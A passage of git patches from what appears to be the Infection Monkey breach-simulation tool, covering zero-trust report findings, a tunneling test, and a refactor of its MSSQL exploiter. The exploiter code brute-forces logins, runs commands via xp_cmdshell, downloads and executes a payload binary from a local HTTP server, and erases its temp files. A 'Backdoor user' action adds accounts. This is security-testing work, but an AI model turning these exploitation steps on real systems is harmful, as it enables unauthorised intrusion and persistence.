b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -34,11 +34,19 @@ def test_machine_exploited(telemetry_json): ) status = STATUS_FAILED - Finding.save_finding( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. + if status == STATUS_FAILED: + Finding.save_finding( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) + else: + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, From e7953defdcc2ffb34d8ed37bc7a54147c2b89aa5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:09:26 +0300 Subject: [PATCH 09/78] Now that findings are aggregated, added events amount counter badge --- .../zerotrust/EventsButton.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 33c6a2384..66f1ae3d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -1,9 +1,7 @@ -import React, {Component} from "react"; +import React, {Component, Fragment} from "react"; import EventsModal from "./EventsModal"; -import {Button} from "react-bootstrap"; -import FileSaver from "file-saver"; +import {Badge, Button} from "react-bootstrap"; import * as PropTypes from "prop-types"; -import ExportEventsButton from "./ExportEventsButton"; export default class EventsButton extends Component { constructor(props) { @@ -22,16 +20,21 @@ export default class EventsButton extends Component { }; render() { - return ( -
- + let eventsAmountBadge; + if (this.props.events.length > 10) { + eventsAmountBadge = 9+; + } else { + eventsAmountBadge = {this.props.events.length}; + } + return +
-
- ); + ; } } From f7d66e0ebc3d6ec8c71e1832b206ff825a9dd684 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:10:27 +0300 Subject: [PATCH 10/78] Realize the previous idea was stupid and aggregate all exploit attempts based on status alone --- .../zero_trust_tests/machine_exploited.py | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 1afe8bfe1..ef300d82b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -34,19 +34,11 @@ def test_machine_exploited(telemetry_json): ) status = STATUS_FAILED - # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. - if status == STATUS_FAILED: - Finding.save_finding( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) - else: - AggregateFinding.create_or_add_to_existing( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, From 146c87c33814c426437195bd72ed6dab09256ffc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:18:42 +0300 Subject: [PATCH 11/78] Optimize import --- .../cc/services/telemetry/zero_trust_tests/machine_exploited.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index ef300d82b..57007cd09 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -2,7 +2,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding def test_machine_exploited(telemetry_json): From 1550742d4d46bf92b3fd5ad06ce424a4c783bcd1 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 15:40:29 +0300 Subject: [PATCH 12/78] Added tunneling zero trust test --- monkey/common/data/zero_trust_consts.py | 17 ++++++++-- .../services/telemetry/processing/tunnel.py | 5 ++- .../cc/services/telemetry/processing/utils.py | 5 +++ .../telemetry/zero_trust_tests/tunneling.py | 31 +++++++++++++++++++ 4 files changed, 55 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 18c02e818..3cf9cda92 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -29,6 +29,7 @@ TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" TEST_SCHEDULED_EXECUTION = u"scheduled_execution" TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" TEST_SEGMENTATION = u"segmentation" +TEST_TUNNELING = u"tunneling" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -36,7 +37,8 @@ TESTS = ( TEST_ENDPOINT_SECURITY_EXISTS, TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, - TEST_DATA_ENDPOINT_ELASTIC + TEST_DATA_ENDPOINT_ELASTIC, + TEST_TUNNELING ) RECOMMENDATION_DATA_TRANSIT = u"data_transit" @@ -44,12 +46,14 @@ RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security" RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" RECOMMENDATION_SEGMENTATION = u"segmentation" +RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" RECOMMENDATIONS = { RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it." + RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible." } POSSIBLE_STATUSES_KEY = u"possible_statuses" @@ -127,6 +131,15 @@ TESTS_MAP = { PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, + TEST_TUNNELING: { + TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + }, + RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + }, } EVENT_TYPE_ISLAND = "island" diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index ed57f3c7b..1598b144a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,10 +1,13 @@ from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation def process_tunnel_telemetry(telemetry_json): + test_tunneling_violation(telemetry_json) monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) else: NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py index 9bafb505f..466b81bf1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -11,3 +11,8 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + +def get_tunnel_host_ip_from_proxy_field(telemetry_json): + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py new file mode 100644 index 000000000..2c9be5e1f --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -0,0 +1,31 @@ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \ + TEST_MALICIOUS_ACTIVITY_TIMELINE +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field + + +def test_tunneling_violation(tunnel_telemetry_json): + if tunnel_telemetry_json['data']['proxy'] is not None: + # Monkey is tunneling, create findings + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) + tunneling_events = [Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json['timestamp'] + )] + AggregateFinding.create_or_add_to_existing( + test=TEST_TUNNELING, + status=STATUS_FAILED, + events=tunneling_events + ) + + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_INCONCLUSIVE, + events=tunneling_events + ) From 30b74675a5e9d02f9b69727a44a988af28a7221b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:08:52 +0300 Subject: [PATCH 13/78] Revert "Revert "Added post breach processing dict and extracted consts to common"" This reverts commit 36ad6fc4416b8df75902ce47eb559fd58e84ca54. --- monkey/common/data/post_breach_consts.py | 2 ++ .../infection_monkey/post_breach/actions/add_user.py | 5 +++-- .../post_breach/actions/users_custom_pba.py | 3 ++- .../cc/services/telemetry/processing/post_breach.py | 10 ++++++++++ 4 files changed, 17 insertions(+), 3 deletions(-) create mode 100644 monkey/common/data/post_breach_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py new file mode 100644 index 000000000..8262757ca --- /dev/null +++ b/monkey/common/data/post_breach_consts.py @@ -0,0 +1,2 @@ +POST_BREACH_BACKDOOR_USER = "Backdoor user" +POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ff7ae3a50..ce05371a6 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,8 +1,9 @@ import datetime + +from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration - __author__ = 'danielg' LINUX_COMMANDS = ['useradd', '-M', '--expiredate', @@ -16,6 +17,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__("Backdoor user", + super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(LINUX_COMMANDS), windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..468a2b29b 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,6 +1,7 @@ import os import logging +from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.utils import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient @@ -27,7 +28,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index b086d5ff4..2515c2d30 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,7 +1,17 @@ from monkey_island.cc.database import mongo +from common.data.post_breach_consts import * + +POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + # `lambda *args, **kwargs: None` is a no-op. + POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, + POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, +} def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, {'$push': {'pba_results': telemetry_json['data']}}) + + if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) From b733cf3389481cde1d16de7b20a3f81df0725144 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 2 Sep 2019 08:37:52 +0000 Subject: [PATCH 14/78] Changed tmp dir path on mssql exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 12 +++++------- .../exploit/tools/payload_parsing.py | 13 +++++++++---- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4d6749ba5..c26954090 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,6 @@ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_tar build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload -import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -28,7 +27,7 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 @@ -110,11 +109,10 @@ class MSSQLExploiter(HostExploiter): self.run_file(tmp_file_path) # Remove temporary dir we stored payload at - if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) return True diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index e7596f11f..a02071333 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -19,7 +19,12 @@ class Payload(object): self.prefix = prefix self.suffix = suffix - def get_full_payload(self, command=""): + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (full payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ if not command: command = self.command return "{}{}{}".format(self.prefix, command, self.suffix) @@ -50,10 +55,10 @@ class LimitedSizePayload(Payload): return False elif self.command == "": return [self.prefix+self.suffix] - - commands = [self.get_full_payload(part) + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) for part - in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): From 63d07f9c4bfae894a3dc1516ffb6fd59b4c8e4bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 15:51:13 +0300 Subject: [PATCH 15/78] Added unit tests, improved mssql readability --- monkey/infection_monkey/exploit/mssqlexec.py | 180 +++++++++--------- .../exploit/tools/exceptions.py | 5 + .../infection_monkey/exploit/tools/helpers.py | 7 + .../exploit/tools/http_tools.py | 32 +++- .../exploit/tools/payload_parsing.py | 17 +- .../exploit/tools/payload_parsing_test.py | 32 ++++ monkey/infection_monkey/monkey.py | 7 +- 7 files changed, 175 insertions(+), 105 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/exceptions.py create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing_test.py diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c26954090..fc27cc600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,16 +1,18 @@ import logging import os +import sys from time import sleep import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) @@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None + self.monkey_binary_on_host_path = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - if not self.cursor: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False - - # Get monkey exe for host and it's path - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - dst_path = get_monkey_dest_path(http_path) - tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - # Create dir for payload + self.create_temp_dir() + + try: + self.create_empty_payload_file() + + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() + except Exception as e: + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + + return True + + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) - if not self.try_to_run_mssql_command(dir_creation_command): - return False + self.run_mssql_command(dir_creation_command) - if not self.create_empty_payload_file(tmp_file_path): - return True + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) - # Form download command - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, - 'dst_path': dst_path} - # Form suffix for appending to temp payload file - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} - prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) - if not self.try_to_run_mssql_command(monkey_download_command): - return True - self.run_file(tmp_file_path) + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) - # Clear payload to pass in another command - if not self.create_empty_payload_file(tmp_file_path): - return True + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.run_mssql_command(tmp_dir_removal_command) + def start_monkey_server(self): + self.monkey_server = MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % tmp_file_path + suffix = ">>%s" % self.payload_file_path prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) - if not self.try_to_run_mssql_command(monkey_launch_command): - return True - self.run_file(tmp_file_path) + return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) - - return True - - def run_file(self, file_path): - file_running_command = MSSQLLimitedSizePayload(file_path) - return self.try_to_run_mssql_command(file_running_command) - - def create_empty_payload_file(self, file_path): - # Create payload file - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - return self.try_to_run_mssql_command(tmp_file_creation_command) - - def try_to_run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - LOG.error("Couldn't execute MSSQL because payload was too long") - return False - return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) - - @staticmethod - def execute_commands(cursor, cmds): - """ - Executes commands on MSSQL server - :param cursor: MSSQL connection - :param cmds: list of commands in MSSQL syntax. - :return: True if successfully executed, false otherwise. - """ - try: - # Running the cmd on remote host - for cmd in cmds: - cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) - return False - return True + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, + 'dst_path': dst_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return None + raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index bc74128e2..91a25c270 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -47,6 +47,13 @@ def get_interface_to_target(dst): return ret[1] +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + def get_target_monkey(host): from infection_monkey.control import ControlClient import platform diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index f23ba8276..0de47b155 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -7,8 +7,8 @@ from threading import Lock from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import get_interface_to_target - +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT __author__ = 'itamar' @@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__) class HTTPTools(object): + @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -33,6 +34,14 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + @staticmethod def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ @@ -60,3 +69,22 @@ class HTTPTools(object): httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise Exception("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index a02071333..31632b045 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -10,18 +10,13 @@ class Payload(object): """ def __init__(self, command, prefix="", suffix=""): - """ - :param command: command - :param prefix: commands prefix - :param suffix: commands suffix - """ self.command = command self.prefix = prefix self.suffix = suffix def get_payload(self, command=""): """ - Returns prefixed and suffixed command (full payload) + Returns prefixed and suffixed command (payload) :param command: Command to suffix/prefix. If no command is passed than objects' property is used :return: prefixed and suffixed command (full payload) """ @@ -50,9 +45,9 @@ class LimitedSizePayload(Payload): def split_into_array_of_smaller_payloads(self): if 